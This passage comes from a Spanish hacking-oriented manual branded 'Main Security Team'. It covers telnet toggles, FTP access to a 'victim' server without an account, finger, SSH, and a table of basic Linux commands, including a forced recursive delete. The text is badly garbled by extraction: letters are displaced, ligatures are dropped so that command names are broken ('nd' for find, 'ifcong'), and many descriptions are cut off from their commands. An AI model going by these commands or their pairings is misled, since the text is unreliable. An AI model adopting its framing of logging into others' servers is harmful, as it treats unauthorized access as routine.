usuario, slo a aquellos recibidos del host remo to. Esto no o resulta muy util a no ser que el host remoto slo env retornos de carro, y nunca env l o e e neas nuevas. El valor inicial de este conmutador es FALSE. debug Conmuta el nivel de depuracin (debugging) del conector (que slo resulta util para el super usuario). o o El valor inicial de este conmutador es FALSE. encdebug

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

53

Habilita la informacin de depu racin (debugging informationi) para el cdigo de encriptacin. Tenga o o o o en cuenta que esta opcin slo existe si el soporte de en criptacin est habilitado. o o o a localchars Si su valor es TRUE, los carac teres ush, interrupt, quit, erase, y kilL (vea set ms arriba) son reconoa cidos localmente, y (es peremos que) transformados en se cuencias de control TELNET apropi adas (respectivamente en ao, ip, brk, ec, y el; vea send ms arri ba). El valor inicial de este conmutador a es TRUE en old line by line mode, y FALSE en char acter at a time mode. Cuando la opcin o LINEMODE est habilitada, el valor de localchars es ignora da, y se asume que siempre tendr como a a valor TRUE. Si LINEMODE ha sido alguna vez habilitado, quit es enviado como un abort, y eof y netdata Conmuta el valor de todos los datos de la red (en formato hex adecimal). El valor inicial de este conmutador es FALSE. options Conmuta el valor de algunas op ciones internas del procesado de protocolo de telnet El valor ini cial de este conmutador es FALSE. prettydump Cuando el conmutador de netdata est habilitado, si tambin lo est prettydump el output de la orden a e a netdata adquirir un formato ms legible para el usuario. Habr espacios entre los carac teres en el a a a output, y el comienzo de las secuencias de escape de telnet sern precedidas de un * para ayudar a a localizarlas. skiprc Cuando el conmutador skiprc toma el valor TRUE, telnet no leer el archivo .telnetrc. El valor ini cial a de este conmutador es FALSE. termdata Conmuta la exhibicin de toda la data de terminal (en formato hex adecimal). El valor inicial de este o conmutador es FALSE. verbose encrypt Si el conmutador verbose encrypt toma el valor TRUE, TELNET muestra un mensaje cada vez que la en criptacin es habilitada o desha bilitada. El valor inicial de este conmutador es FALSE. Esta op o cin slo existe si el soporte de encriptacin est habilitado. o o o a ? Muestra las rdenes legales de toggle. o z Postpone telnet. Esta orden slo funciona si el usuario utiliza la orden csh(1). o ! [le ...] Ejecuta un unico programa en una subshell en el sistema local. Si se omite la orden, se invocar una a subshell interactiva. ? [command] Invoca la ayuda. Sin parmetros, telnet muestra un resumen de la ayuda. Si se especica una orden, a

54

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

telnet muestra la informacin de la ayuda para esa unica orden. o NOTA: Estos son los comandos y opciones propios de telnet; como telnet sirve para administracin remota tambin se pueden utilizar todos los comandos de UNIX o DOS que el sistema husped tenga instalado.NOTA: Estos son los comandos y opciones propios de telnet; como telnet sirve para administracin remota tambin se pueden utilizar todos los comandos de UNIX o DOS que el sistema husped tenga instalado. D. Ftp El ftp es nuestro otro aliado gracias a el podemos entrar a algunos servidores sin necesidad de tener cuenta en ellos y subir o descargar cheros. Uso ftp [ip o dominio de la victima] comandos LS lista los archivos. PWD nos dice en que directorio nos encontramos. CD para cambiar de directorio. MKDIR crear directorios. DIR lista de archivos del directorio local. LCD directorios locales. PUT para enviar archivos. MPUT para mandar mltiples archivos. u GET para descargar archivos. MGET descargar mltiples archivos. u BIN modo binario para trabajar con archivos binarios. HASH muestra el estado de la transferencia. CLOSE sierra la conexin. o OPEN abre la conexin. o QUIT sale del programa. CHMOD cambia los atributos y privilegios de un archivo. E. Finger Este comando proporciona informacin sobre personas sea en Internet o de usuarios en un sistema. o Se usa as : Finger belzebu@el inerno.org Con este comando saldr alguna informacin publica sobre belzebu si el servidor El inerno.org tiene a o activo el server del nger o saldr acceso denegado. a Si estas dentro de un sistema y haces nger al nombre de un usuario te aparecer gran cantidad de a informacin de este. o

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

55

F. SSh Las famosas Security shell son idnticas al telnet su unica diferencia erradica en que toda la infore macin esta encriptada. o G. Otros comandos Basicos de LINUX que se deben conocer son: Prendiendo y apagando el sistema. shutdown -h 5 shutdown -h now halt shutdown -r 5 shutdown -r now reboot startx Administracin de usuarios. o adduser LPT passwd LPT userdel LPT su su - LPT exit Montado de sistemas de archivos. mount -t iso9660 /dev/cdrom /mnt/cdrom mount -t msdos /dev/hda1 /mnt/win c mount -t vfat /dev/hda1 /mnt/win c umount /mnt/cdrom umount /mnt/win c usermount

Apaga el sistema en 5 minutos despus e de ejecutarse y no reinicia. Apaga el sistema en ese momento y NO lo vuelve a reinicia Apaga el sistema de la misma manera que el comando anterior Apaga el sistema 5 minutos despus de e haberlo ejecutado y reinicia Apaga el sistema en ese momento y reinicia Reinicia el sistema Inicia el entorno grco. a

Agrega un usuario llamado LPT Le asigna la clave de acceso al usuario LPT Borra la cuenta LPT Da momentneamente privilegios de a ROOT (Si sabemos la clave :) ) Se toma momentneamente los privilea gios del usuario LPT. Sale del perl del usuario que lo ejecuta.

Monta la unidad de CD-ROM en el directorio especicado (/mnt/cdrom) Monta el disco C en el directorio especicado con particin msdos. o Monta el disco C con particin FAT o en el directorio especicado. Desmonta el CD-ROM. Desmonta el disco r gido C Una forma fcil y rpida de montar y a a desmontar unidades.

56

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

Congurando X Xcongurator xf86cong switchdesk Tratamiento de archivos. Movindonos por directorios. e cd /home/LPT cd .. Listar archivos ls -l ls -F ls -lC ls -a

Sirve para cambiar la resolucin, proo fundidad y placa de v deo. Archivo de conguracin de X. o Cambia el entorno grco por defecto a (Gnome, KDE, etc)

Ingresa al directorio /home/LPT Vuelve al directorio ra z Lista los archivos del directorio actual con todos sus atributos. Lista los archivos del directorio actual indicando su tipo (archivo, directorio, etc) Lista los archivos del directorio actual en columnas. Lista los archivos invisibles del directorio actual.(los que empiezan con ../../../../home/jbarrios/.) Borra el archivo con nombre lpt.txt. Borra el directorio LPT con todos los archivos que tiene dentro (Recursivo). Borra el directorio LPT en forma recursiva y SIN PREGUNTAR. -Ojo con este comando siendo RootCopia el Archivo lpt.txt dentro del directorio /home/LPT Mueve el Archivo lpt.txt dentro del directorio /home/LPT Le cambia el nombre al archivo lpt.txt por linux para todos.txt Representa todo. Ejemplo: ls *.rpm (lista todos los archivos con extensin o rpm) Representa un solo caracter . ejemplo: ls ?.txt (lista todos los archivos de un solo caracter con extensin txt) o

Borrar archivos rm lpt.txt rm -R /LPT rm -Rf /LPT

Copiar y mover archivos cp lpt.txt /home/LPT mv lpt.txt /home/LPT Renombrar archivos. mv lpt.txt linux para todos.txt Comodines * ?

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

57

Instalando paquetes RPM rpm -ivh lpt-news-0.1-5.i386.rpm rpm -Uvh lpt-news-0.1-5.i386.rpm rpm -e lpt-news rpm -qf /bin/ls rpm -q lpt-news rpm -ql lpt-news rpm -qa rpm -qa |grep ltp

Instala el paquete lpt-news-0.15.i386.rpm (Use preferentemente -Uvh) Instala o actualiza el paquete lpt-news0.1-5.i386.rpm (usar este, preferentemente, para instalar) Desinstala el paquete lpt-news (no se necesita ni la versin ni la extincin) o o Muestra en que paquete esta incluido el comando ls. -ver whereis, en seccin o bsquedau Muestra la versin del paquete ya instao lado lpt-news. Lista los componentes del paquete lptnews, previamente instalado, con sus respectivas rutas. Lista todos los paquetes instalados en el sistema(no se necesita privilegios de ROOT) Lista todos los paquetes que contengan lpt en su nombre.

Comprimir, descomprimir archivos tar.gz y tar.bz2 tar -zxvf lpt.tar.gz Descomprime y Desempaqueta el archivo lpt.tar.gz tar -zcvf lpt.tar.gz /home/LPT Empaqueta y Comprime el directorio /home/LPT dentro de lpt.tar.gz tar -jxvf lpt.tar.bz2 Descomprime y Desempaqueta el archivo lpt.tar.bz2 tar -jcvf lpt.tar.bz2 /home/LPT Empaqueta y Comprime el directorio /home/LPT dentro de lpt.tar.bz2 tar -cMf /dev/fd0 Empaqueta el directorio actual en mltiples Diskettes. u Matar procesos ps axu kill -9 123 kill -9 mozilla kill -15 123 kill -l top

Lista los procesos que se estn cora riendo. Mata el proceso con nmero de PID u 123. Sin darle tiempo a terminar Mata el proceso mozilla. Sin darle tiempo a terminar. Fuerza a terminar el proceso (el -15 no es necesario ya que es el nmero por deu fecto) Lista los posibles argumentos de la orden, -15(terminar), -9(matar) etc. Cumple la funcin de ps y kill sio multneamente en consola. a

58

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

Combinaciones de teclas [Ctrl]+[Alt]+[Del] [Ctrl]+[Alt]+[F1] [Ctrl]+[Alt]+[Fn] [Ctrl]+[Alt]+[F7] [Ctrl]+[Alt]+[Fn] [Tab]

[ArrowUp] [Shift][PgUp] [Shift][PgDown]: [Ctrl]+c [Ctrl]+d [Ctrl]+s [Ctrl]+z

Shutdown. Apaga el sistema de forma organizada desde una terminal texto. Cambia a la primera terminal de texto. Cambia a la terminal de texto numero n (n=1,...,8) Cambia a la primera terminal X (si se esta usando alguna) Cambia a la terminal X numero n (n=7,...,12) Auto-completa el nombre de un comando, chero, directorio, programa, cuando trabajamos en una terminal texto. (Flecha arriba) Va editando la historia de comandos que hemos escrito anteriormente en terminal texto. Scroll la salida de la terminal hacia arriba, en terminal texto. Scroll la salida de la terminal hacia abajo, en terminal texto. Termina el proceso actual. Si no esta corriendo de fondo Termina la terminal actual. Para la transferencia a la terminal. Manda el proceso actual a correr de fondo.

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

59

Informacin del Sistema o hostname uptime uname -a dmesg|more free -tm df -h du -bh /|more cat /proc/cpuinfo cat /proc/interrupts cat /proc/lesystems who id LPT last /sbin/ifcong netstat

Devuelve el nombre de la maquina. Devuelve la cantidad de tiempo transcurrido desde la ultima vez que se arranco el sistema. Informacin sobre el sistema operativo o de la maquina. Imprime el ring buer del kernel. Informacin sobre la cantidad de memoo ria disponible y usada Informacin sobre todo los dispositivos o montados en la maquina Informacin sobre el espacio ocupado o por cada subdirectorio, comenzando en el directorio ra (/) z Informacin sobre el microprocesador o Informacin sobre las interrupciones en o uso (IRQs) Informacin sobre los sistemas de o archivos que se pueden utilizar (compilados en el kernel). Informacin sobre los usuarios usando o el sistema. Informacin sobre UID, GID y o GROUPS del usuario LPT Informacin sobre los ultimos usuarios o que han usado el sistema. Informacin sobre los distintos disposio tivos de red Informacin valiosa sobre la conexion de o red

B squedas. u nd / -name lpt.txt -print nd / -name lpt.txt b squeda.txt u whereis chero

Busca el archivo ltp.txt empezando por el directorio / y lo muestra en pantalla . Busca el archivo ltp.txt empezando por el directorio / y guarda la salida en el archivo bsqueda.txt u Busca los cheros binarios, fuentes y pginas del manual correspondientes a a un paquete

Anda mungkin juga menyukai